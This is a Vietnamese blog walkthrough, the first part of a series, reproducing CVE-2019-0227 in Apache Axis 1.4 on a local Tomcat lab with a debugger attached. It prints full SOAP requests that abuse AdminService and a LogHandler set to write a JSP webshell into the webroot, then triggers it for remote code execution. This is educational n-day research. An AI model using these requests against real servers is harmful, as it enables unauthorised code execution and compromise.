Series Re-Search: Reproduce n-day with CVE-2019–0227 Expired Domain to Remote Code Execution in Apache Axis — part 1
Hello mọi người lại là Sơn đây!
Cũng một tháng mình lại quay lại viết blog tiếp cho series này, cơ bản là mình tính sẽ viết tối thiểu cỡ 4 5 bài cho series này, bài hướng dẫn, tới phân tích n-day, 1-day rồi bài kiếm 0-day, sau đó là những bài chia sẻ tip&trick khi mình làm Research. Cơ mà mình nghĩ bài tìm 0-day không biết khi nào mới viết được tại mấy cái mình kiếm cũng là mấy cái CVE cỏ cỏ, chả có nhiều kỹ thuật nên viết cũng ngại =))) Nên thôi, chờ nào có mình sẽ xl với các bạn sau.
Với mình, phân tích n-day cũng có nhiều level, entry thì đọc hiểu và chạy được exploit đơn giản, level hơn nữa thì có thể custom exploit cho phù hợp với môi trường thực tế bạn gặp phải, và level cao nữa là tìm cách bypass cái n-day đó để ra được CVE mới…Từ đó, mindset của bạn sẽ phát triển dần dần và định hướng sẽ đúng đắn hơn cho việc pentest những như cải thiện khả năng research.
Okie, và hôm nay CVE của chúng ta là CVE-2019–0227: Expired Domain to Remote Code Execution in Apache Axis. Hơi outdated nhưng bạn biết đấy, cái gì mình làm thì đã phần nó đều có var thật trong thực tế, và case này khi đọc title mình cảm giác khá thú vụ và type bug hình như mình cũng chưa reproduce bao giờ nên quyết định làm nó,hehe! Let’s go.
I) Cảm “bug”
Với n-day, thì các bạn biết rồi. Đây là những lỗ hổng đã public blog/writeup cũng như exploit trên mạng. Vì vậy hãy tận dụng khả năng googling của mình để kiếm càng nhiều tài liệu về nó nhất có thể. Đơn giản, đọc 1 bài của tác giả A không hiểu, thì đọc bài phân tích tiếp của tác giả B, C… sẽ giúp bạn giải quyết các issue và củng cố thêm nhiều kiến thức vệ tinh về lỗ hổng hơn. Mình có kinh nghiệm rồi nên sẽ chỉ cần 1 bài gốc và các bài mà nó mention tới là có lẽ mình làm được rồi.
https://rhinosecuritylabs.com/application-security/cve-2019-0227-expired-domain-rce-apache-axis/
Hãy dành thời gian đọc tất cả những gì bài blog đề cập tới. Nếu vẫn cảm giác còn cấn cấn cái gì đó với cái bug hãy tìm thêm các bài phân tích khác.
Mục tiêu của quá trình này là bạn phải hình dung được ngữ cảnh lỗi xảy ra/ cách khai thác như thế nào?
Đối với cái bug này, chỉ đọc bài trên link chắc chắn các bạn sẽ méo hiểu gì đâu, vì nó chỉ là bài “support” cho bài root case của bug cũng được mention tới, đó là: https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
Hãy đọc cả 2 bài nhiều lần, bạn sẽ có góc nhìn toàn diện hơn và có thể bạn sẽ “cảm” bug được như sau:
- Lỗ hổng đầu tiên là XXE to RCE tìm thấy ở sản phẩm ORACLE PEOPLESOFT, có vẻ Apache Axis là một component của nó và root cause của bug này ở đây.
- Apache Axis sẽ cho phép tạo các service từ các class + method của Java thông qua SOAP mà không cần authenticate nếu request xuất phát từ máy chủ đang host nó.
- Tác giả đã tìm được một class đặc biệt trong lib của Oracle Peoplesoft để RCE.
- Sau một thời gian thì tác giả tìm ra được một class đặc biệt trong core của Apache Axis, dẫn tới có thể khai thác độc lập bug này mà không cần phụ thuộc vào Oracle Peoplesoft.
- Sau đó, Rhino đã tìm được một lỗ hổng SSRF từ việc handle xml( response về từ một domain hết hạn), từ đó quay lại bước 2 và RCE được mà không cần authentication.
Sau khi đã hiểu overview về lỗ hổng, tới lúc chúng ta dựng môi trường để PoC lại nó và hiểu chi tiết hơn về kỹ thuật khai thác.
II) Setup environment
Trước tiên là bạn phải biết cái Apache Axis này chạy như thế nào đã. Phải tìm cách chạy nó trước thì mới có môi trường mà debug, khai thác. Tìm document,guide hướng dẫn và deploy nó lên.
Đây là bước cực kỳ quan trọng, tùy vào độ phức tạp của sản phẩm mà việc triển khai sẽ dễ khó khác nhau. Để triển khai Apache Axis ta cần :
- Biết cài đặt và sử dụng Apache Tomcat.
Download: https://tomcat.apache.org/download-90.cgi - Triển khai ứng dụng ( Apache Axis) trên TomCat.
Download version 1.4: https://dlcdn.apache.org/axis/axis/java/1.4/axis-src-1_4.zip
Hướng dẫn cài đặt: https://thalesdocs.com/ctp/con/ct-v/8.12.3/admin/ct-v-tasks/ct-v-apache/index.html
Làm đúng như hướng dẫn thì vào localhost:8080/axis kết quả sẽ như sau:
Nếu đã work rồi thì câu chuyện chuyển sang một bài toán khác,bạn hãy thử tìm cách setup debug Apache-Axis?
Setup debug là một công đoạn gần như bắt buộc để bạn phân tích lỗi, và không phải sản phẩm nào cũng có thể tìm được cách cài đặt debug trên internet. Đối với các product viết bằng Java, nếu không có hướng dẫn thì hãy tìm và cố gắng đọc hiểu các file startup.bat hay catalina.bat, bạn sẽ tìm ra phương pháp debug.
Với apache-axis, mình chỉ cần chạy file /bin/catallina.bat trong thư mục của Tomcat vớp tham số sau:
catalina.bat jpda start
Sau đó mở project Apache-axis bằng Intellij -> Run/Debug Configuration -> Add New Config -> Remote JVM Debug.
Cấu hình debug mặc định là chạy port debug là 8000, nhưng mình đã đổi nó sang 5005. Đổi như nào thì các bạn tự tìm hiểu và làm nhé :D
KẾT LUẬN: Kết thúc phase này, bắt buộc bạn phải setup được debug/remote debug ứng dụng thì các bước tiếp theo mới dễ dàng thực hiện được.
III) Phân tích lỗi
Bây giờ mới tới giai đoạn cần phải tập trung trí tuệ để hiểu rõ bug hơn. Như workflow bug ở bước 1, lỗi này lợi dụng tính năng triển khai service của Apache Axi, kết hợp với lỗ hổng SSRF từ việc parse XML để thành Unauthenticated RCE. Mình sẽ chia quá trình này thành 2 phần cho đỡ dài, ở bài này mình sẽ tập trung vào việc :
a) Tìm hiểu tính năng gây ra RCE
Những thông tin về tính năng này sẽ tập trung ở bài phân tích XXE của Oracle PeopleSoft, hãy tập trung vào bài viết này. Từ bài phân tích, có thể biết được rằng Apache Axis cho phép bạn xây dựng các điểm cuối SOAP từ các lớp Java. Ví dụ cho dễ hiểu:
Mình muốn sử dụng tât cả method của class java.util.Random trên giao diện web với endpoint http://localhost:8080/axis/services/RandomServicel, mình sẽ sử dụng Apache Axis để đăng ký như sau:
POST /axis/services/AdminService
Host: 127.0.0.1:8080
SOAPAction: something <!-- Cần cái Header này nhé -->
Content-Type: application/xml
...
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<ns1:deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="RandomService" provider="java:RPC"> <!-- Endpoint muốn đăng ký-->
<ns1:parameter name="className" value="java.util.Random"/> <!-- Class muốn sử dụng -->
<ns1:parameter name="allowedMethods" value="*"/><!-- Method muốn dùng, ở đây là tất cả-->
</ns1:service>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>
Output sau khi đăng ký service thành công:
Bây giờ, mình sẽ thửsử dụng method nextInt (tương ứng với khi code Java sẽ là Random.nextInt()):
POST /axis/services/RandomService <!-- Endpoint RandomService nãy đăng ký-->
Host: 127.0.0.1:8080
SOAPAction: something
Content-Type: application/xml
...
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:nextInt /> <!-- Method nextInt muốn sử dụng-->
</soapenv:Body>
</soapenv:Envelope>
Và output đây:
Vậy là hiểu về tính năng này rồi đúng không, để RCE thì attacker bây giờ chỉ cần kiếm cái Class có method nào execute code và đăng ký rồi sử dụng là okie rồi. Đối với Oracle PeopleSoft, tác giả thực hiện như sau:
- Đăng ký dịch vụ sử dụng class
Deploy
trong packageorg.apache.pluto.portalImpl
và 2 mothodaddToEntityReg(String[] args)
để ghi file, methodcopy(file1, file2)
để move file - Sau khi đăng ký service thành công, sử dụng method
addToEntityReg
để ghi file tùy ý, rồi methodcopy
để move vào folder webroot, biến nó thành webshell. - RCE done.
Tuy nhiên, packageorg.apache.pluto.portalImpl
nằm trong ứng dụng PeopleSoft, nên nếu Apache Axis chạy riêng lẻ một mình thì sẽ không có libs này để khai thác.
Đọc đến cuối bài phân tích, bạn sẽ thấy 1 phần update, ở đây tác giả đã tìm ra được Class và Method nằm trong core libs của Apache Axis cũng như kỹ thuật để có thể ghi file tùy ý, dẫn tới RCE tương tự như trên. Từ đó, có thể RCE Apache Axis mà không cần phụ thuộc vào các thư viện của ứng dụng khác nữa.
Để RCE Apache Axis, tác giả sử dụng Class, Method và kỹ thuật sau:
- Tác giả phát hiện ngoài việc cho triển khai services,
handlers
cũng là một tính năng sẽ được gọi mỗi lần thực thi SOAP request. LogHandlers
sẽ được sử dụng để ghi file log, có thể setfilename
ở bất kỳ đâu, từ đó có thể set file log làshell.jsp
ở trong webroot.- Vì nó sẽ ghi tất cả request và response, nên sẽ tạo một request chứa content của web shell để nó ghi vào file
shell.jsp
đã tạo ở bước 2. - Tuy content bị lỗi, nhưng mã jsp vẫn hoạt động bình thường và chúng ta đã có thể RCE ứng dụng.
Okie, để demo thử:
Đăng ký service Random
, cùng với handler LogHandlers:
POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
SOAPAction: something
Content-Type: application/xml
Content-Length: 1046
...
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<ns1:deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="exploitedEndpoint" provider="java:RPC"> <!-- Tương tự, đăng ký endpoint mới-->
<requestFlow>
<handler type="RandomLog"/> <!-- Add thêm cái handler -->
</requestFlow>
<ns1:parameter name="className" value="java.util.Random"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
<handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" > <!-- Cấu hình cái handler ở đây nè-->
<parameter name="LogHandler.fileName" value="/apache-tomcat-9.0.80/webapps/axis/shell.jsp" /> <!-- Tùy vào bạn chạy catalina.bat ở working directory nào mà path sẽ khác nhau-->
<parameter name="LogHandler.writeToConsole" value="false" />
</handler>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>
a) Đăng ký service và handler nè:
Check kết quả nè:
b) Bây giờ tạo 1 request và body sẽ chứa webshell của mình, LogHandler
sẽ log request + response vào file shell.jsp
mình đã set trước đó.
Request nó trông như thế này:
Tuy error nhưng yên tâm, LogHandler
vẫn ghi full request + reponse vào file shell.jsp
và trông nó sẽ là:
Tuy trông nó có vẻ hơi sai format nhưng yên tâm, shell
vẫn work. Như mình đã comment trong phần tạo filename, tùy vào việc bạn Apache Axis khi đang ở working directory nào mà đường path file shell.jsp
sẽ khác nhau, mặc định mình sẽ drop vào apache-tomcat-9.0.80\webapps\axis\shell.jsp.
Bây giờ, trigger shell bằng cách truy cập vào http://local.host:8080/axis/shell.jsp?c=calc, calculator sẽ hiện lên. RCE done!
Joke: Nếu không muốn bị hack hãy xoá calculator đi =))))
Đã xong phần tìm hiểu vì sao bug có thể RCE. Tuy nhiên, Apache Axis chỉ cho chúng ta đăng ký service khi request đăng ký xuất phát từ chính mấy chủ đang host nó, vì vậy chuẩn sao phần tiếp theo. Tìm hiểu bug SSRF để chó thể trigger tính năng này.
TỔNG KẾT: Xong giai đoạn này, kiến thức cần nắm là Apache Axis gây ra RCE như thế nào?
Đến đây cũng dài rồi, tránh sự nhàm chán thì mình sẽ nói về lỗi SSRF via Expired Domain qua ở bài tiếp theo nhé.